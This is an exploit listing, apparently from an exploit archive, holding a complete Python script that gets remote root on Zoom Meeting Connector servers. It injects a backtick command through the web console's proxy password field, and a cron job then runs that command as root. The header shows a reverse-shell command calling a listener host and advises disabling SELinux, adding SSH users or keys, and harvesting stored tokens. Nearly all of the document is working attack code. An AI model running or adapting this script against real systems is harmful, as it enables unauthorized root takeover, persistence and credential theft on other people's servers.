Share
## https://sploitus.com/exploit?id=PACKETSTORM:160736
#!/usr/bin/python  
# -*- coding: UTF-8 -*-  
#  
# zoomer.py  
#  
# Zoom Meeting Connector Post-auth Remote Root Exploit  
#  
# Jeremy Brown [jbrown3264/gmail]  
# Dec 2020  
#  
# The Meeting Connector Web Console listens on port 5480. On the dashboard  
# under Network -> Proxy, one can enable a proxy server. All of the fields  
# are sanitized to a certain degree, even the developers noting in the proxy()  
# function within backend\webconsole\WebConsole\net.py that they explicitly  
# were concerned with command injection and attempted to prevent it:  
#  
# if ('"' in proxy_name) or ('"' in proxy_passwd): # " double quotes cannot be used to prevent shell injection  
# is_valid = False  
#  
# It makes sense to leave some flexibility in the character limits here  
# passwords are often expected to contain more than alphanumeric characters.  
# But of course that means the Proxy Password field is still vulnerable to  
# command injection with the ` character.  
#  
# The proxy data gets concatenated and written to /etc/profile.d/proxy.sh.  
# Every three minutes, a task runs which executes this proxy script as root.  
# After submission the dashboard says โ€œThe proxy will take effect after the  
# server reboot!โ€, but the commands will still be executed within actually  
# requiring a reboot. Keep in mind that the commands will be executed blind.  
#  
# For example, `id>/tmp/proxy_test` given as the Proxy Password will produce  
# this in the /tmp/proxy_test file:  
#  
# uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:system_cronjob_t:s0-s0:c0.c1023  
#  
# MMR was tested, but Controller and VRC may also be vulnerable  
#  
# Usage  
# > zoomer.py 10.0.0.10 admin xsecRET1 "sh -i >& /dev/udp/10.0.0.11/5555 0>&1"  
# login succeeded  
# command sent to server  
#  
# $ nc -u -lvp 5555  
# ....  
# sh: no job control in this shell  
# sh-4.2# pwd  
# /root  
# sh-4.2#  
#  
# setenforce 0 if SELinux bothers you, service sshd start and add users/keys,  
# check tokens in /opt/zoom/conf/register, check out the local environment, etc.  
#  
# Dependencies  
# - pip install pyquery  
#  
# Fix  
# Zoom says they've fixed this in the latest version  
#  
  
import os  
import sys  
import argparse  
import requests  
import urllib.parse  
from pyquery import PyQuery  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
  
class Zoomer(object):  
def __init__(self, args):  
self.target = args.target  
self.port = args.port  
self.username = args.username  
self.password = args.password  
self.command = args.command  
  
def run(self):  
target = "https://" + self.target + ':' + str(self.port)  
  
session = requests.Session()  
session.verify = False  
  
#  
# get csrftoken from /login and use it to auth with creds  
#  
try:  
resp = session.get(target + "/login")  
except Exception as error:  
print("Error: %s" % error)  
return -1  
  
try:  
csrftoken = resp.headers['set-cookie'].split(';')[0]  
except:  
print("Error: couldn't parse csrftoken from response header")  
return -1  
  
csrfmiddlewaretoken = self.get_token(resp.text, 'csrfmiddlewaretoken')  
  
if(csrfmiddlewaretoken == None):  
return -1  
  
data = \  
{'csrfmiddlewaretoken':csrfmiddlewaretoken,  
'name':self.username,  
'password':self.password}  
  
headers = \  
{'Host':self.target + ':' + str(self.port),  
'Referer':target,  
'Cookie':csrftoken}  
  
try:  
resp = session.post(target + "/login", headers=headers, data=data)  
except Exception as error:  
print("Error: %s" % error)  
return -1  
  
if(resp.status_code != 200 or 'Wrong' in resp.text):  
print("login failed")  
return -1  
else:  
print("login succeeded")  
  
#  
# get csrfmiddlewaretoken from /network/proxy and post cmd  
#  
try:  
resp = session.get(target + "/network/proxy")  
except Exception as error:  
print("Error: %s" % error)  
return -1  
  
csrfmiddlewaretoken = self.get_token(resp.text, 'csrfmiddlewaretoken')  
  
cookies = session.cookies.get_dict()  
  
#  
# this happens with view-only users  
#  
if(len(cookies) < 2):  
print("Error: failed to get session ID")  
return -1  
  
command = '`' + self.command + '`'  
  
headers = \  
{'Host':self.target + ':' + str(self.port),  
'Referer':target,  
'Cookie': \  
'csrftoken=' + cookies['csrftoken'] + ';' + \  
'sessionid=' + cookies['sessionid']}  
  
data = \  
{'csrfmiddlewaretoken':csrfmiddlewaretoken,  
'proxyValue':1,  
'proxyAddr':'localhost',  
'proxyPort':8080,  
'proxyName':'test',  
'proxyPasswd':command}  
  
try:  
resp = session.post(target + "/network/proxy", headers=headers, data=data)  
except Exception as error:  
print("Error: %s" % error)  
return -1  
  
if(resp.status_code != 200):  
print("something failed")  
return -1  
else:  
print("command sent to server")  
  
return 0  
  
def get_token(self, body, name):  
token = None  
  
pq = PyQuery(body)  
  
if(name == 'csrftoken'):  
print("csrftoken")  
  
if(name == 'csrfmiddlewaretoken'):  
token = pq('input').attr('value')  
  
return token  
  
def arg_parse():  
parser = argparse.ArgumentParser()  
  
parser.add_argument("target",  
type=str,  
help="Zoom server")  
  
parser.add_argument("-p",  
"--port",  
type=int,  
default=5480,  
help="Zoom port")  
  
parser.add_argument("username",  
type=str,  
help="Valid username")  
  
parser.add_argument("password",  
type=str,  
help="Valid password")  
  
parser.add_argument("command",  
type=str,  
help="Command to execute (replace space with $IFS ?)")  
  
args = parser.parse_args()  
  
return args  
  
def main():  
args = arg_parse()  
  
zm = Zoomer(args)  
  
result = zm.run()  
  
if(result > 0):  
sys.exit(-1)  
  
if(__name__ == '__main__'):  
main()